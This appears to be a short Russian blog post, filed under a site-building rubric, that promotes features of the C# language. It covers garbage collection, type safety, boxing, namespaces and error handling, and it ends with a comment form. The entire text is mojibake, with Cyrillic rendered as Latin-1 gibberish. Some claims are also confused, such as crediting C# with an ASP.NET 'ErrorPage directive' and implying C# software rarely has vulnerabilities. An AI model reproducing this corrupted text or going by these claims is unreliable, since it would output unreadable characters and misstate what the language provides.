Ïðè ñîçäàíèè ÿçûêà â îñíîâó äèçàéíà ëåãëà ëåãêîñòü èñïîëüçîâàíèÿ, äîìèíèðóþùàÿ íàä ìîùíîñòüþ ÿçûêà è ñêîðîñòüþ âûïîëíåíèÿ. Îòñþäà è ñáîðùèê ìóñîðà ñ óïðàâëÿåìûìè îáúåêòíûìè ññûëêàìè, êîòîðûé àâòîìàòè÷åñêè îñâîáîæäàåò çà Âàñ ïàìÿòü. Âû òàêæå ïîëó÷àåòå áåçîïàñíîñòü ðàáîòû ñ òèïàìè, à ýòî, ïî ìíåíèþ ìíîãèõ, ÿâëÿåòñÿ âòîðûì âàæíåéøèì ôàêòîðîì èçáåæàíèÿ îøèáîê.

C# îáúåêòíî-îðèåíòèðîâàííûé ÿçûê. Áîëåå òîãî, ýòî ÿçûê, îðèåíòèðîâàííûé íà íàïèñàíèå êîìïîíåíò.

Öåëüíîñòü êîíöåïöèè âèäíà, ñêàæåì â ðåàëèçàöèè óïàêîâêè/ðàñïàêîâêè. Ýòî ïîçâîëÿåò ðàññìàòðèâàòü âñå òèïû (äàæå ïðèìèòèâíûå, íàïðèìåð integer) êàê îáúåêòû, ÷òî ðàçðåøàåò ìíîãèå ïðîáëåìû äèçàéíà ïðèëîæåíèé.

Ïðè ñîçäàíèè ÿçûêà ðàññìàòðèâàëàñü íå òîëüêî ïðîñòîòà íàïèñàíèÿ ïðèëîæåíèé, íî è èõ ïîääåðæêè — â ñâÿçè ñ ÷åì â ÿçûê âêëþ÷èëè ïîääåðæêó XML êîììåíòàðèåâ è êîíòðîëÿ âåðñèé. Íàñòîÿùèé ïîäàðîê äëÿ ïðîãðàììèñòîâ.

Ïîìèìî ñáîðùèêà ìóñîðà è áåçîïàñíîñòè ðàáîòû ñ òèïàìè äëÿ èçáåæàíèÿ îøèáîê â ÿçûêå òàêæå ïðèìåíÿåòñÿ àâòîìàòè÷åñêàÿ èíèöèàëèçàöèÿ ïåðåìåííûõ. Âñå òèïû, êîòîðûå ðàçìåùàþòñÿ â ñòåêå (value types, ê êîòîðûì îòíîñÿòñÿ ïðèìèòèâíûå òèïû, ñòðóêòóðû è ïðî÷èå íàñëåäíèêè êëàññà ValueType) èíèöèàëèçèðóþòñÿ íóëÿìè. Îáúåêòû îñòàëüíûõ òèïîâ ðàçìåùàþòñÿ â êó÷å, äîñòóï ê íèì îñóùåñòâëÿåòñÿ ïî îáúåêòíîé ññûëêå, è ññûëêè ýòè èíèöèàëèçèðóþòñÿ â çíà÷åíèå null (êîòîðàÿ ãîâîðèò, ÷òî äàííàÿ ññûëêà íå èìååò àññîöèèðîâàííîãî îáúåêòà â êó÷å).

 C# ïðåäñòàâëåíà êîíöåïöèÿ ïðîñòðàíñòâ èìåí, àíàëîãè÷íàÿ ïàêåòàì â Java. Ýòî ïîçâîëÿåò èåðàðõè÷åñêè ñòðóêòóðèðîâàòü Âàøó ñèñòåìó òèïîâ, äåëàÿ êîä íàìíîãî áîëåå ïîíÿòíûì è ïîçâîëÿÿ èçáåæàòü ïðîáëåì ñ èìåíîâàíèåì. Âû ìîæåòå ðàññìàòðèâàòü ïðîñòðàíñòâà èìåí êàê äèðåêòîðèè, à ÿçûêîâûå òèïû êàê ôàéëû â ýòèõ äèðåêòîðèÿõ.

Âîçìîæíîñòè ðàñøèðåíèÿ ðåøåíèÿ

Âêëþ÷åíà ïîääåðæêà ìóëüòèïðîöåññîðíûõ è êëàñòåðíûõ ðåøåíèé. ×òî ïîçâîëÿåò ïðè íàïèñàíèè ïðèëîæåíèÿ, ðàññ÷èòûâàòü íà òî, ÷òî ñèñòåìó ìîæíî áóäåò áåç òðóäà ðàñøèðÿòü.

Îáðàáîòêà îøèáîê.

 Â ñâÿçè ñ íîâûìè êîíöåïöèÿìè (â ÷àñòíîñòè, ñ êîìïèëÿöèåé ïðîãðàììíûõ òåêñòîâ) äîáàâëåíû íîâûå âîçìîæíîñòè ïî îáðàáîòêå îøèáîê. Íà ñòàäèè ðàçðàáîòêè ìîæíî ïîëó÷èòü ïîëíóþ èíôîðìàöèþ îá îøèáêå è ëèñòèíã íóæíîãî êóñêà êîäà. Äëÿ îáðàáîòêè îøèáîê, êîòîðûå ìîãóò ñëó÷èòüñÿ âî âðåìÿ âûïîëíåíèÿ âàøåãî ïðèëîæåíèÿ âû ìîæåòå èñïîëüçîâàòü íîâóþ äèðåêòèâó ErrorPage.

È ñàìîå ãëàâíîå, ìíîãî ëè âû âèäåëè èíôîðìàöèè îá óÿçâèìîñòÿõ, íàéäåííûõ â ïðîäóêòàõ, íàïèñàííûõ íà C#?

ñîçäàòü ñàéò 

Ðóáðèêè:  Ñîçäàíèå ñàéòà

 

Äîáàâèòü êîììåíòàðèé:
Òåêñò êîììåíòàðèÿ: ñìàéëèêè

Ïðîâåðêà îðôîãðàôèè: (íàéòè îøèáêè)

Ïðèêðåïèòü êàðòèíêó:

 Ïåðåâîäèòü URL â ññûëêó
 Ïîäïèñàòüñÿ íà êîììåíòàðèè
 Ïîäïèñàòü êàðòèíêó